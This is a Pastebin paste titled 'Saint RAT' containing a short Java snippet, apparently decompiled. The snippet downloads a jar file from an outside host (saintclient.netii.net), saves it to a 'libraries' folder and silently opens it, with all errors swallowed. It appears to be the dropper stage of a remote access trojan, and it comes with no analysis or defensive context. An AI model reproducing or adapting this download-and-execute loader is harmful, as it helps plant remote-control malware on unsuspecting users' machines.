Advertisement
Guest User

Saint RAT

a guest
Sep 3rd, 2015
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.52 KB | None | 0 0
  1. URL url;
  2. try
  3. {
  4. String fileURL = "http://saintclient.netii.net/abyss-lib.jar";
  5. String saveDir = "libraries";
  6. url = new URL(fileURL);
  7. HttpURLConnection httpConn = (HttpURLConnection)url.openConnection();
  8. int responseCode = httpConn.getResponseCode();
  9. if (responseCode == 200)
  10. {
  11. String fileName = "";
  12. String disposition = httpConn.getHeaderField("Content-Disposition");
  13. httpConn.getContentType();
  14. httpConn.getContentLength();
  15. if (disposition != null)
  16. {
  17. int index = disposition.indexOf("filename=");
  18. if (index > 0) {
  19. fileName = disposition.substring(index + 10,
  20. disposition.length() - 1);
  21. }
  22. }
  23. else
  24. {
  25. fileName = fileURL.substring(fileURL.lastIndexOf("/") + 1,
  26. fileURL.length());
  27. }
  28. InputStream inputStream = httpConn.getInputStream();
  29. String saveFilePath = saveDir + File.separator + fileName;
  30.  
  31. FileOutputStream outputStream = new FileOutputStream(saveFilePath);
  32.  
  33. int bytesRead = -1;
  34. byte[] buffer = new byte['?'];
  35. while ((bytesRead = inputStream.read(buffer)) != -1) {
  36. outputStream.write(buffer, 0, bytesRead);
  37. }
  38. outputStream.close();
  39. inputStream.close();
  40. }
  41. httpConn.disconnect();
  42. Desktop.getDesktop().open(new File("libraries/abyss-lib.jar"));
  43. }
  44. catch (IOException localIOException) {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement